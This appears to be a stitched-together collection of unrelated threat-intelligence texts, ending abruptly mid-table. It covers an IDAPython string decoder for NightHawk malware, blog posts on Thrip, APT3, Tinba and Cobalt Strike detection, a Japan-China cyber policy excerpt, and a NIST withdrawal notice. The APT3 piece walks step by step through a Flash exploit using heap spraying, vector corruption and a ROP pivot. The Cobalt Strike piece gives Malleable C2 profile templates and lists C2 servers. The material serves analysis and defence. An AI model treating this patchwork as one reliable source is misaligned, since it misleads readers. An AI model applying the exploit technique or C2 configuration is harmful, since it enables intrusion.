```python import idautils # Author: Karsten Hahn @ GDATA CyberDefense # Twitter: @struppigel # Mastodon: [email protected] # IDAPython Script to decode NightHawk strings # sha256: # 9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8 # sha256: # 0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988 def find_cipher_addr(): # 33 ED xor ebp, ebp # 48 39 6B 10 cmp [rbx+10h], rbp # 76 4E jbe short loc_1800456B8 # 33 F6 xor esi, esi # 4C 8D 3D ?? ?? ?? ?? lea r15, alphabetString address_found = ida_search.find_binary(0, 0xffffffffffffffff, "33 ED 48 39 6B 10 76 4E 33 F6 4C 8D 3D", 0, 0) cmd_start = 10 cipher_alphabet_addr = idc.get_operand_value(address_found + cmd_start, 1) cipher_alphabet = idc.get_strlit_contents(cipher_alphabet_addr, -1, 0).decode("utf-8") print("extracted alphabet:", cipher_alphabet) return cipher_alphabet def find_plain_addr(): # 49 8B CF mov rcx, r15 ; Str # E8 ?? ?? ?? ?? call strchr # 48 85 C0 test rax, rax # 74 1D jz short loc_7FFACE4089C6 # 49 2B C7 sub rax, r15 # 48 8D 0D ?? ?? ?? ?? lea rcx, substitution_alphabet2 address_found = ida_search.find_binary(0, 0xffffffffffffffff, "49 8B CF E8 ? ? ? ? 48 85 C0 74 1D 49 2B C7 48 8D 0D", 0, 0) cmd_start = 16 plain_addr = idc.get_operand_value(address_found + cmd_start, 1) plain_alphabet = idc.get_strlit_contents(plain_addr, -1, 0).decode("utf-8") print("extracted alphabet:", plain_alphabet) return plain_alphabet def decryption_func_addr(): # 48 8B C4 mov rax, rsp # 48 89 58 18 mov [rax+18h], rbx # 48 89 68 20 mov [rax+20h], rbp # 48 89 50 10 mov [rax+10h], rdx # 48 89 48 08 mov [rax+8], rcx # 56 push rsi # 57 push rdi # 41 57 push r15 # 48 83 EC 30 sub rsp, 30h # 48 8B DA mov rbx, rdx # 48 8B F9 mov rdi, rcx # 83 60 D8 00 and dword ptr [rax-28h], 0 # 48 8B CA mov rcx, rdx # 48 83 7A 18 10 cmp qword ptr [rdx+18h], 10h # 72 03 jb short loc_7FFACE40896A # 48 8B 0A mov rcx, [rdx] ; Str return ida_search.find_binary(0, 0xffffffffffffffff, "48 8B C4 48 89 58 18 48 89 68 20 48 89 50 10 48 89 48 08 56 57 41 57 48 83 EC 30 48 8B DA 48 8B F9 83 60 D8 00 48 8B CA 48 83 7A 18 10 72 03 48 8B 0A", 0, 0) def decode_string(encoded, cipher_alphabet, plaintext_alphabet): decoded = [] for character in encoded: if character in cipher_alphabet: decoded.append(plaintext_alphabet[cipher_alphabet.find(character)]) else: decoded.append(character) return "".join(decoded) if __name__ == "__main__": cipher_alphabet = find_cipher_addr() plaintext_alphabet = find_plain_addr() for ref in idautils.XrefsTo(decryption_func_addr(), 0): caller_addr = ref.frm for h in Heads(caller_addr - 0x20, caller_addr): if print_insn_mnem(h) == "lea": if idc.get_operand_type(h, 1) == 2: string_addr = idc.get_operand_value(h, 1) encoded_str = idc.get_strlit_contents(string_addr, -1, 0) decoded_str = decode_string(encoded_str.decode("utf-8"), cipher_alphabet, plaintext_alphabet) print(decoded_str, 'at', hex(string_addr)) idc.set_cmt(h, decoded_str, True) idc.set_cmt(caller_addr, decoded_str, True) idc.set_cmt(string_addr, decoded_str, True) break ```
# Blogs ## Save web pages as PDF with PDFmyURL ### Security Response Attack Investigation Team One of the most significant developments in cyber espionage in recent years has been the number of groups adopting “living off the land” tactics. That’s our shorthand for the use of operating system features or legitimate network administration tools to compromise victims’ networks. The purpose of living off the land is twofold. By using such features and tools, attackers are hoping to blend in on the victim’s network and hide their activity in a sea of legitimate processes. Secondly, even if malicious activity involving these tools is detected, it can make it harder to attribute attacks. If everyone is using similar tools, it’s more difficult to distinguish one group from another. Most attack groups do still create and leverage custom malware, but it tends to be employed sparingly, reducing the risk of discovery. This doesn’t mean espionage attacks are now going undiscovered, but it does mean that they can take longer for analysts to investigate. This is one of the reasons why Symantec created Targeted Attack Analytics (TAA), which takes tools and capabilities that we’ve developed for our own analysts and makes them available to our Advanced Threat Protection (ATP) customers. TAA leverages advanced artificial intelligence and machine learning that combs through Symantec’s data lake of telemetry in order to spot patterns associated with targeted attacks. Its advanced AI automates what previously would have taken thousands of hours of analyst time. This makes it far easier for us, and for our customers, to find that needle in the haystack. It was TAA that led us to the latest cyber espionage campaign we’ve uncovered. Back in January 2018, TAA triggered an alert at a large telecoms operator in Southeast Asia. An attacker was using PsExec to move laterally between computers on the company’s network. PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land. However, it’s also widely used for legitimate purposes, meaning malicious use of PsExec can be difficult to spot. TAA not only flagged this malicious use of PsExec, it also told us what the attackers were using it for. They were attempting to remotely install a previously unknown piece of malware on computers within the victim’s network. When we analyzed the malware, we discovered that it was an updated version of Trojan.Rikamanu, malware associated with Thrip, a group we’ve been monitoring since 2013. After further investigation, we discovered that Thrip also used a completely new piece of malware in this attack (Infostealer.Catchamas). Armed with this information about the malware and living off the land tactics being used against this victim, we broadened our search to see if we could find similar patterns that indicated Thrip had been targeting other organizations. We uncovered a wide-ranging cyber espionage campaign involving powerful malware being used against targets that are a cause for concern. We identified three computers in China being used to launch the Thrip attacks. Thrip’s motive is likely espionage and its targets include those in the communications, geospatial imaging, and defense sectors, both in the United States and Southeast Asia. ### Eye on the sky: Thrip’s targets Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator. The attack group seemed to be particularly interested in the operational side of the company, looking for and infecting computers running software that monitors and controls satellites. This suggests to us that Thrip’s motives go beyond spying and may also include disruption. Another target was an organization involved in geospatial imaging and mapping. Again, Thrip seemed to be mainly interested in the operational side of the company. It targeted computers running MapXtreme GIS (Geographic Information System) software which is used for tasks such as developing custom geospatial applications or integrating location-based data into other applications. It also targeted machines running Google Earth Server and Garmin imaging software. The satellite operator wasn’t the only communications target Thrip was interested in. The group had also targeted three different telecoms operators, all based in Southeast Asia. In all cases, based on the nature of the computers infected by Thrip, it appeared that the telecoms companies themselves and not their customers were the targets of these attacks. In addition, there was a fourth target of interest, a defense contractor. ### Attempting to hide in plain sight We’ve been monitoring Thrip since 2013 when we uncovered a spying campaign being orchestrated from systems based in China. Since our initial discovery, the group has changed its tactics and broadened the range of tools it used. Initially, it relied heavily on custom malware, but in this most recent wave of attacks, which began in 2017, the group has switched to a mixture of custom malware and living off the land tools. The latter include: - **PsExec**: Microsoft Sysinternals tool for executing processes on other systems. The tool was primarily used by the attackers to move laterally on the victim’s network. - **PowerShell**: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance. - **Mimikatz**: Freely available tool capable of changing privileges, exporting security certificates, and recovering Windows passwords in plaintext. - **WinSCP**: Open source FTP client used to exfiltrate data from targeted organizations. - **LogMeIn**: Cloud-based remote access software. It’s unclear whether the attackers gained unauthorized access to the victim’s LogMeIn accounts or whether they created their own. All of these tools, with the exception of Mimikatz (which is almost always used maliciously), have legitimate uses. For example, PowerShell is widely used within enterprises and the vast majority of scripts are legitimate. Similarly, PsExec is frequently used by systems administrators. However, in this case, it was Thrip’s use of PsExec that drew our attention. Through advanced artificial intelligence and machine learning, TAA has trained itself to spot patterns of malicious activity. While PsExec itself may be innocuous, the way that it was being used here triggered an alert by TAA. In short, Thrip’s attempts at camouflage blew its cover. While Thrip now makes heavy use of living off the land tactics, it also employs custom malware, particularly against computers of interest. This includes: - **Trojan.Rikamanu**: A custom Trojan designed to steal information from an infected computer, including credentials and system information. - **Infostealer.Catchamas**: Based on Rikamanu, this malware contains additional features designed to avoid detection. It also includes a number of new capabilities, such as the ability to capture information from newer applications (such as new or updated web browsers) that have emerged since the original Trojan.Rikamanu malware was created. - **Trojan.Mycicil**: A keylogger known to be created by underground Chinese hackers. Although publicly available, it is not frequently seen. - **Backdoor.Spedear**: Although not seen in this recent wave of attacks, Spedear is a backdoor Trojan that has been used by Thrip in other campaigns. - **Trojan.Syndicasec**: Another Trojan used by Thrip in previous campaigns. ### Highly targeted espionage operation From the initial alert triggered by TAA, we were able to follow a trail that eventually enabled us to see the bigger picture of a cyber espionage campaign originating from computers within China and targeting multiple organizations in the U.S. and Southeast Asia. Espionage is the group’s likely motive but given its interest in compromising operational systems, it could also adopt a more aggressive, disruptive stance should it choose to do so. ### Protection Symantec has had protection from Thrip since 2013 and we secure our customers from the attack group’s latest set of malicious tools. The following protections are in place to protect customers against Thrip attacks: - **File-based protection** - Trojan.Rikamanu - Infostealer.Catchamas - Hacktool.Mimikatz - Trojan.Mycicil - Backdoor.Spedear - Trojan.Syndicasec - **Network Protection Products** - Malware Analysis Appliance detects activity associated with Thrip - Customers with Webpulse-enabled products are protected against activity associated with Thrip - **Threat Intelligence** In addition to file-based protection, customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received multiple reports on Thrip (codenamed ATG14) which detail methods of detecting and thwarting activities of this group.
# APT3 The China-based threat group FireEye tracks as APT3, aka UPS, is responsible for this exploit and the activity identified in our previous blog post, Operation Clandestine Fox. This group is one of the more sophisticated threat groups that FireEye Threat Intelligence tracks, and they have a history of introducing new browser-based zero-day exploits (e.g., Internet Explorer, Firefox, and Adobe Flash Player). After successfully exploiting a target host, this group will quickly dump credentials, move laterally to additional hosts, and install custom backdoors. APT3's command and control (CnC) infrastructure is difficult to track, as there is little overlap across campaigns. ## Activity Overview In the last several weeks, APT3 actors launched a large-scale phishing campaign against organizations in the following industries: - Aerospace and Defense - Construction and Engineering - High Tech - Telecommunications - Transportation Upon clicking the URLs provided in the phishing emails, targets were redirected to a compromised server hosting JavaScript profiling scripts. Once a target host was profiled, victims downloaded a malicious Adobe Flash Player SWF file and an FLV file, detailed below. This ultimately resulted in a custom backdoor known as SHOTPUT, detected by FireEye as Backdoor.APT.CookieCutter, being delivered to the victim's system. The payload is obscured using XOR encoding and appended to a valid GIF file. ## Attack Vector The phishing emails used by APT3 during this campaign were extremely generic in nature, almost appearing to be spam. An example email body: > Save between $200-450 by purchasing an Apple Certified Refurbished iMac through this link. Refurbished iMacs come with the same 1-year extendable warranty as new iMacs. Supplies are limited, but update frequently. Don't hesitate... Go to Sale The string "Go to Sale" was a link that used the following URL structure: `hxxp://<subdomain>.<legitdomain>.<TLD>/<directory>/<alphanumericID>.html` ## Exploit Details The attack exploits an unpatched vulnerability in the way Adobe Flash Player parses Flash Video (FLV) files. The exploit uses common vector corruption techniques to bypass Address Space Layout Randomization (ASLR) and uses Return-Oriented Programming (ROP) to bypass Data Execution Prevention (DEP). A neat trick to their ROP technique makes it simpler to exploit and will evade some ROP detection techniques. Shellcode is stored in the packed Adobe Flash Player exploit file alongside a key used for its decryption. The payload is XOR encoded and hidden inside an image. ## Exploit Packaging The Adobe Flash Player exploit is packed with a simple RC4 packer. The RC4 key and ciphertext are BinaryData blobs that the packer uses to decrypt the layer 2 Adobe Flash Player file. Once decrypted, layer 2 is executed with `loader.loadBytes`. ## Vector Corruption Layer 2 uses a classic Adobe Flash Player vector corruption technique to develop its heap corruption vulnerability to a full relative read/write available to ActionScript3. In this technique, the attacker sprays Adobe Flash Player vectors to the heap and triggers a write vulnerability to change the size of one of the vectors. The attacker can then perform subsequent reads and writes to memory outside the intended boundaries of the corrupted vector object from AS3. Once the attacker has limited read/write access to memory, they choose to corrupt a second vector to increase their access to a range of `0x3fffffff` bytes. This second vector is used for the remainder of the exploit. ## Return-Oriented Programming The attackers use a ROP chain to call `kernel32!VirtualAlloc` to mark their shellcode as executable before jumping to their shellcode. Instead of writing their ROP chain to the heap along with their shellcode and payload, they used a different technique. Usually, exploit developers will corrupt a built-in Adobe Flash Player object such as a Sound object. Instead, the attackers chose to define their own class in AS3 with a function that takes a lot of arguments: ```actionscript class CustomClass { public function victimFunction(arg1:uint, arg2:uint, ..., arg80:uint):uint } ``` Then, the attackers can simply overwrite the function pointer with a gadget that adds to the stack pointer and returns to pivot to ROP. They have no need to identify the absolute address of the ROP chain and preserve it in a register for a typical `xchg reg32, esp` pivot. Additionally, storing the ROP chain on the stack will evade ROP detection mechanisms designed around detecting when the stack pointer points outside of a thread's stack region. ## Full Exploit Flow 1. Create a new Video object 2. Fetch the payload 3. Attach the video to a new NetStream 4. Spray the heap with Adobe Flash Player vectors - Create a vector containing 98688 vectors containing 1022 uints - Set the first two dwords in each Vector<uint> to `0x41414141`, `0x42424242` 5. Create holes for the controlled FLV object - Free approximately every 3rd vector in the spray 6. Spray custom class objects for future control transfer - Define a new class `CustomClass` - Define a function `victimFunction` with lots of arguments - Create a vector of `0x100` vectors of `1007` references to a `CustomClass` instance 7. Fetch and play the FLV exploit - The FLV file will allocate an attacker-controlled object in one of the holes from step 5 - The attacker-controlled object will overwrite the length field of an adjacent vector 8. Re-fill holes from step 5 with vectors as in step 4 9. Find the corrupted vector - Search through vectors from step 4 - Check the length of each vector to find one that is abnormally large 10. Corrupt a second vector (Vector2) - Using the corrupted vector from step 9 to read/write relative memory addresses - Search memory for an adjacent vector - Overwrite the length field with `0x3fffffff` - Verify that a corrupted vector with length `0x3fffffff` now exists in the spray 11. Decrypt shellcode and store it and the payload on the heap 12. Overwrite the `CustomClass.victimFunction` function pointer - Find the sprayed `CustomClass` object instance references from step 6 - The new function is a form of "pivot" that transfers control to the attacker 13. Build ROP chain on the stack and call it - Find ROP gadgets in memory using Vector2 - Including a call to `kernel32!VirtualAlloc` - Call the corrupted `CustomClass.victimFunction` from step 6.a.i 14. ROP chain calls shellcode - Call `kernel32!VirtualAlloc` - Jump to shellcode 15. Shellcode calls payload - Shellcode searches memory for the payload, which is stored inside an image - Shellcode decodes the payload by XORing each byte (that is not 0 or 0x17) with `0x17` ## Conclusion Once APT3 has access to a target network, they work quickly and they are extremely proficient at enumerating and moving laterally to maintain their access. Additionally, this group uses zero-day exploits, continually updated custom backdoors, and throwaway CnC infrastructure, making it difficult to track them across campaigns. ## Acknowledgements Thank you to the following contributors to this blog! - Joseph Obed - Ben Withnell - Kevin Zuk - Genwei Jiang - Corbin Souffrant of FireEye
# A One-Sided Affair: Japan and the People's Republic of China in Cyberspace ## Author: Stefan Soesanto ### Introduction This Hotspot analysis takes a deep dive into the cyber threat landscape between Japan and the People’s Republic of China. In contrast to other reports, this analysis primarily looks at relevant incidents that have had the potential to spill into the political realm. It does not touch upon traditional cybercrime, background noise activities, or minor cyber-related incidents. Section two provides political background on four issues deemed constants in Japan-PRC relations and explains the historical evolution of cybersecurity and defense policies in both countries. Section three presents a chronological overview of relevant cyber incidents, including infection vectors and attribution assessments. Sections four and five identify the various teams connected to these incidents and extend insights into their history and current state of play. Section six outlines social, economic, technical, and international effects resulting from the overall cyber threat landscape. Section seven concludes the analysis with a look into the future. ### Background 1. **Historic Animosity**: Between 1930 and 1945, Imperial Japan waged an aggressive colonization campaign against large parts of mainland China, which saw mass atrocities, such as the Nanjing massacre, and human experimentation for biological warfare purposes (ex. Unit 731). These war wounds have never healed despite numerous friendship treaties between both countries, rapidly expanding trade relations, offers of reparation payments, and longstanding Japanese official development assistance to China. Historical animosity is still leveraged by Beijing to rally support around nationalistic sentiments and to deflect any form of criticism voiced by Tokyo. 2. **The Rise of China**: Between 1946 and 1992, Japan experienced an era of rapid economic growth, propelling it to become the world’s second-largest economy behind the United States. China opened itself up to foreign trade and investment in 1979 and overtook Japan in 2010/11 when measured in nominal GDP. The rise of China has serious security implications for Japan, ranging from Beijing’s increased military spending and modernization efforts to Chinese hegemonic assertions abroad. 3. **Territorial Dispute**: The Diaoyu/Senkaku Islands are currently administered by the Japanese government and claimed by both China and Taiwan. The territorial dispute flares up occasionally when Chinese submarines, frigates, and fishing trawlers enter the contiguous zone around the islands, or Chinese jet fighters violate Japanese airspace above. 4. **Military Alliance**: In the aftermath of World War II, Japan committed itself to a pacifist constitution, which under Article 9 proclaims that the Japanese people forever renounce war as a sovereign right of the nation. The Japanese Ministry of Defense placed the section on China’s defense policies second behind the United States for the first time since 2007. ### Threat Landscape Chronology This section provides a chronological overview of relevant events between 2000 and 2019, pertaining to the interaction between Japan and the People’s Republic of China in cyberspace. - **Jan. 29, 2000**: In reaction to Tokyo’s decision to give the go-ahead to a controversial conference in Osaka, Chinese nationalistic hacktivists bombarded e-mail inboxes, redirected queries to porn sites, and defaced several Japanese websites with anti-Japanese messages. - **March 2011**: APT12/IXESHE was targeting Japanese organizations during the Fukushima nuclear disaster, likely done to close intelligence gaps on the ground cleanup/mitigation operation. - **Sept. 18-19, 2012**: The dispute over the Senkaku/Diaoyu islands intensifies as Tokyo decided to buy the islands. The Honker Union conducts DDoS attacks, doxing campaigns, and defacements against 19 Japanese websites. - **Jan. 1, 2013**: Citing government sources, the Daily Yomiuri reports that the computer of an employee at the Japanese Ministry of Agriculture, Forestry, and Fisheries had been infected last year. More than 3000 documents were exfiltrated, including 20 top-secret documents on the Trans-Pacific Partnership (TPP) free trade pact negotiations. - **April 14, 2015**: Palo Alto Network’s Unit 42 identifies a new DragonOK backdoor deployed against Japanese targets in at least five phishing campaigns. ### Japanese Cybersecurity & Defense Policy On November 30, 1985, the Japan Revolutionary Communist League simultaneously targeted key rail communication and signal systems in and around Tokyo and Osaka. The group succeeded in knocking out numerous switching systems, telephone hookups, and computerized booking operations, effectively shutting down 23 commuter lines during the morning rush hour for approximately 6.5 to 12 million commuters. It took another 15 years for the Japanese government to be eventually ‘shocked’ by two events to take cybersecurity and cyber defense seriously. The Metropolitan police agency set up a special squad of 50 police officers to investigate internet crime, and the government said it would dispatch officials to the US to seek advice on measures to prevent cyber terrorism. ### Chinese Cybersecurity & Defense Policy Parallel to Beijing opening itself up to the internet in the mid-1990s, Chinese military planners and domestic security services recognized the dangers of so-called ‘informatization’ – a term that describes the comprehensive integration of information technology to impact all aspects of society and mechanisms of statehood, including domestic security and modern warfare. In November 2012, Xi Jinping announced the creation of the Central Leading Group for Cybersecurity and Informatization. Over the years, this high-level group has become central to pulling together China’s fragmented cyber policy landscape and direct change from the top. ### Conclusion The cyber threat landscape between Japan and the People’s Republic of China is shaped by historical animosities, rising geopolitical tensions, and evolving cybersecurity policies. Both nations continue to navigate a complex relationship marked by competition and conflict in cyberspace.
# Withdrawn NIST Technical Series Publication **Warning Notice** The attached publication has been withdrawn (archived) and is provided solely for historical purposes. It may have been superseded by another publication (indicated below). ## Withdrawn Publication **Series/Number:** NIST Special Publication 800-53 Rev. 4 **Title:** Security and Privacy Controls for Federal Information Systems and Organizations **Publication Date(s):** April 2013 (including updates as of January 22, 2015) **Withdrawal Date:** September 23, 2021 **Withdrawal Note:** SP 800-53 Rev. 4 is superseded in its entirety by SP 800-53 Rev. 5 (September 2020, including updates as of 12/10/20). ## Superseding Publication(s) **Series/Number:** NIST Special Publication 800-53 Rev. 5 **Title:** Security and Privacy Controls for Information Systems and Organizations **Author(s):** Joint Task Force **Publication Date(s):** September 2020 (including updates as of December 10, 2020) ## Additional Information **Contact:** Computer Security Division (Information Technology Laboratory) ## Authority This publication has been developed by NIST to further its statutory responsibilities under the Federal Information Security Management Act (FISMA), Public Law (P.L.) 107-347. NIST is responsible for developing information security standards and guidelines, including minimum requirements for federal information systems, but such standards and guidelines shall not apply to national security systems without the express approval of appropriate federal officials exercising policy authority over such systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130, Section 8b(3), Securing Agency Information Systems, as analyzed in Circular A-130, Appendix IV: Analysis of Key Sections. Supplemental information is provided in Circular A-130, Appendix III, Security of Federal Automated Information Resources. Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other federal official. This publication may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright in the United States. Attribution would, however, be appreciated by NIST. ## Abstract This publication provides a catalog of security and privacy controls for federal information systems and organizations and a process for selecting controls to protect organizational operations (including mission, functions, image, and reputation), organizational assets, individuals, other organizations, and the Nation from a diverse set of threats including hostile cyber attacks, natural disasters, structural failures, and human errors. The controls are customizable and implemented as part of an organization-wide process that manages information security and privacy risk. The controls address a diverse set of security and privacy requirements across the federal government and critical infrastructure, derived from legislation, Executive Orders, policies, directives, regulations, standards, and/or mission/business needs. The publication also describes how to develop specialized sets of controls, or overlays, tailored for specific types of missions/business functions, technologies, or environments of operation. Finally, the catalog of security controls addresses security from both a functionality perspective (the strength of security functions and mechanisms provided) and an assurance perspective (the measures of confidence in the implemented security capability). Addressing both security functionality and security assurance ensures that information technology products and the information systems built from those products using sound systems and security engineering principles are sufficiently trustworthy. ## Keywords Assurance; computer security; FIPS Publication 199; FIPS Publication 200; FISMA; Privacy Act; Risk Management Framework; security controls; security requirements. ## Acknowledgements This publication was developed by the Joint Task Force Transformation Initiative Interagency Working Group with representatives from the Civil, Defense, and Intelligence Communities in an ongoing effort to produce a unified information security framework for the federal government. The National Institute of Standards and Technology wishes to acknowledge and thank the senior leaders from the Departments of Commerce and Defense, the Office of the Director of National Intelligence, the Committee on National Security Systems, and the members of the interagency technical working group whose dedicated efforts contributed significantly to the publication. ## Prologue “…Through the process of risk management, leaders must consider risk to US interests from adversaries using cyberspace to their advantage and from our own efforts to employ the global nature of cyberspace to achieve objectives in military, intelligence, and business operations…” “…For operational plans development, the combination of threats, vulnerabilities, and impacts must be evaluated in order to identify important trends and decide where effort should be applied to eliminate or reduce threat capabilities; eliminate or reduce vulnerabilities; and assess, coordinate, and deconflict all cyberspace operations…” “…Leaders at all levels are accountable for ensuring readiness and security to the same degree as in any other domain…” -- THE NATIONAL STRATEGY FOR CYBERSPACE OPERATIONS OFFICE OF THE CHAIRMAN, JOINT CHIEFS OF STAFF, U.S. DEPARTMENT OF DEFENSE ## Foreword NIST Special Publication 800-53, Revision 4, represents the most comprehensive update to the security controls catalog since its inception in 2005. The publication was developed by NIST, the Department of Defense, the Intelligence Community, and the Committee on National Security Systems as part of the Joint Task Force, an interagency partnership formed in 2009. This update was motivated principally by the expanding threat space—characterized by the increasing sophistication of cyber attacks and the operations tempo of adversaries (i.e., the frequency of such attacks, the professionalism of the attackers, and the persistence of targeting by attackers). State-of-the-practice security controls and control enhancements have been developed and integrated into the catalog addressing such areas as mobile and cloud computing; applications security; trustworthiness, assurance, and resiliency of information systems; insider threat; supply chain security; and the advanced persistent threat. In addition, Special Publication 800-53 has been expanded to include eight new families of privacy controls based on the internationally accepted Fair Information Practice Principles. Special Publication 800-53, Revision 4, provides a more holistic approach to information security and risk management by providing organizations with the breadth and depth of security controls necessary to fundamentally strengthen their information systems and the environments in which those systems operate—contributing to systems that are more resilient in the face of cyber attacks and other threats. This “Build It Right” strategy is coupled with a variety of security controls for “Continuous Monitoring” to give organizations near real-time information that is essential for senior leaders making ongoing risk-based decisions affecting their critical missions and business functions. To take advantage of the expanded set of security and privacy controls, and to give organizations greater flexibility and agility in defending their information systems, the concept of overlays was introduced in this revision. Overlays provide a structured approach to help organizations tailor security control baselines and develop specialized security plans that can be applied to specific missions/business functions, environments of operation, and/or technologies. This specialization approach is important as the number of threat-driven controls and control enhancements in the catalog increases and organizations develop risk management strategies to address their specific protection needs within defined risk tolerances. Finally, there have been several new features added to this revision to facilitate ease of use by organizations. These include: - Assumptions relating to security control baseline development; - Expanded, updated, and streamlined tailoring guidance; - Additional assignment and selection statement options for security and privacy controls; - Descriptive names for security and privacy control enhancements; - Consolidated tables for security controls and control enhancements by family with baseline allocations; - Tables for security controls that support development, evaluation, and operational assurance; and - Mapping tables for international security standard ISO/IEC 15408 (Common Criteria). The security and privacy controls in Special Publication 800-53, Revision 4, have been designed to be largely policy/technology-neutral to facilitate flexibility in implementation. The controls are well positioned to support the integration of information security and privacy into organizational processes including enterprise architecture, systems engineering, system development life cycle, and acquisition/procurement. Successful integration of security and privacy controls into ongoing organizational processes will demonstrate a greater maturity of security and privacy programs and provide a tighter coupling of security and privacy investments to core organizational missions and business functions.
# So Long, and Thanks for All the Domains While Trojans like Dyre and Dridex are dominating malware-related news, we take the time to have a closer look at Tinba (Tiny Banker, Zusy, Illi), yet another Trojan which targets Windows users. In the first part of this post, we give a short historical review, followed by hints about how to detect (and remove) this threat on an infected system. In the second part, we have a look at a portion of the Trojan’s code which enhances its communication resilience, and how we can leverage these properties for defensive purposes. Tinba is a fine piece of work, initially purely written in assembly. CSIS discovered it back in May 2012, and it contained WebInject capability and rootkit functionality in a binary of just 20 KB. The source code of Tinba leaked in July 2014, helping bad guys to create their own, extended versions. Tinba on steroids was discovered in September 2014. Two main features are worth noting: First, each binary comes with a public key to check incoming control messages for authenticity and integrity. Second, there is a domain generation algorithm (DGA), which we will discuss later. In October 2014, Tinba entered Switzerland, mainly to phish for credit card information. Like other commodity Trojans, Tinba checks whether it is running in a virtual machine/sandboxed environment by checking the hard-disk size or looking for user interaction. According to abuse.ch, there was an intense distribution of Tinba in Switzerland early this year. Such spam campaigns can happen again at any time, so it is of use to know how to detect Tinba on an infected system and remove it. Even though Tinba has the ability to hide directories and files (rootkit functionality), cybercriminals were wondering why they should bother using it. Why not simply hide directories and files with the “hidden” flag, which works for most users? Thus, it is relatively simple for a computer-savvy user to remove this version of Tinba from an infected system. **Disclaimer:** We recommend completely re-installing the infected system. Very often, malware does mean things, even installing other malware, such that the two steps given below might not be sufficient to clean your system. Also, having a state-of-the-art anti-virus product installed helps to prevent infections. ### Step 1: Remove the malicious entry in the Windows registry. Follow these steps to start the Registry Editor and read the warnings. Navigate to the following key: `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run` Delete the weird randomly named entry, here C1B5D40E, pointing to a file called bin.exe in the directory `C:\Users\USERNAME\AppData\Roaming\C1B5D40E`. ### Step 2: Remove the directory containing the malicious file (named bin.exe) or the malicious file itself. Follow the steps described for Windows Vista/7 or for Windows 8.1 to show hidden files in Windows Explorer. Open Windows Explorer, type `%AppData%`, and hit Enter. Depending on the Windows version, you will end up in a slightly different directory than the one given below in the picture. You will see a hidden directory, here C1B5D40E. Within this directory, there is a file usually called bin.exe – the Trojan itself. The malicious entry in the Windows registry points to this file. Delete the randomly named hidden directory (or the file bin.exe in that directory) and reboot. It was mentioned above that a DGA was added to the Trojan’s capabilities. The criminals want to enhance its resilience by making it harder for law enforcement agencies and security experts to execute a takedown or takeover. Based on some well-defined input values, the DGA simply generates a bunch of domain names. Input values can be anything like a date, a foreign exchange reference rate at a certain time or a seed. Tinba uses an initial domain, a seed value and a couple of predefined top-level domains, such as .biz, .com, .in, .net, .pw, .ru, .space and .us. In the case of Tinba, the DGA has been reverse-engineered by garage4hackers, Johannes Bader and others, and we would like to take this opportunity to say “thank you” for sharing. The DGA may change, of course. Looking at its main routines on a regular basis, or rather checking the generated domains against the predictions given by the reverse-engineered scripts, is thus essential. Currently, the (inner) main loop of the DGA still is consistent with the one provided by garage4hackers in September 2014. Would it not be nice to leverage a malicious feature like this for a security control? Yes, it would, and we can! A DNS firewall can be built using DNS Response Policy Zones (RPZ). The RPZ gets populated by several means, one of them might be the output from DGA’s. By monitoring malware that employs a DGA and extracting necessary input values, malicious domains can be computed and collected, for example in the DGArchive by Daniel Plohmann. These collections can be fed into an RPZ, and by operating a DNS firewall, end users (and Swiss universities in our case) can be protected – not necessarily from being infected, but hopefully from becoming victims of fraud. **Sample SHA-256:** `e4627c1ea318a93305bc3b91d3f0a197547093882baff81ad11876a0b9e1e268`
# Cobalt Strike, a Defender’s Guide – Part 2 Our previous report on Cobalt Strike focused on the most frequently used capabilities that we had observed. In this report, we will focus on the network traffic it produced and provide some easy wins defenders can be on the lookout for to detect beaconing activity. We cover topics such as domain fronting, SOCKS proxy, C2 traffic, Sigma rules, JARM, JA3/S, RITA, and more. As with our previous article, we will highlight the common ways we see threat actors using Cobalt Strike. Even though network monitoring and detection capabilities do not come easy for many organizations, they can generally offer a high return on investment if implemented correctly. Malware has to contact its C2 server if it is to receive further instructions. This article will demonstrate how to detect this communication before threat actors accomplish their objectives. There are a couple of factors that we can utilize to fingerprint any suspicious traffic and subsequent infrastructure. Before we get into that part, we should first discuss what makes Cobalt Strike so versatile. Cobalt Strike’s versatility comes from the ability to change the indicators with each payload. This is made possible thanks to Malleable C2 profiles. Below you can find information related to some of the most important fields that could throw off an analyst while investigating a Cobalt Strike network communication: ### Global Options ``` set sample_name "whatever.profile"; set sleeptime "0"; set jitter "25"; set useragent "<string>"; set data_jitter "35"; set headers_remove "<header to remove>"; ``` ``` https-certificate { set C "US"; set CN "whatever.com"; set L "California"; set O "whatever LLC."; set OU "local.org"; set ST "CA"; set validity "365"; } ``` ### HTTP-Config Block ``` http-config { set headers "<headers to include>"; header "<name of the header(s)>"; set trust_x_forwarded_for "<true OR false>"; set block_useragents "<user agents>"; set allow_useragents "<user agents>"; } ``` ### HTTP-GET Block ``` http-get { set uri "/<URI string>"; set verb "POST"; client { header "Host" "whatever.com"; header "Connection" "close"; metadata { base64url; append ".php"; parameter "file"; } } } ``` We added comments to the profile above to explain the numerous fields operators can change to customize the profile to their needs. All these different fields provide control and flexibility over the indicators of the C2 channel. Many free, open-source randomizer scripts exist to create a unique profile such as Random C2 Profile Generator by @joevest, Malleable-C2-Randomizer by @bluscreenofjeff, and C2concealer by @FortyNorthSec. Below are some of the Cobalt Strike C2 servers that we observed during intrusions. On the right column, we show the URLs that the Cobalt Strike payloads were configured to query. A trained eye could spot some of the Malleable profiles that exist on freely available resources such as Raphael Mudge’s list on his GitHub page. | C2 Server | URI queried | |----------------------|----------------------| | gawocag.com | /nd | | 190.114.254.116 | /push | | 190.114.254.116 | /__utm.gif | | kaslose.com | /jquery-3.3.1.min.js | | yawero.com | /skin.js | | sazoya.com | /skin.js | | 192.198.86.130 | /skin.js | | 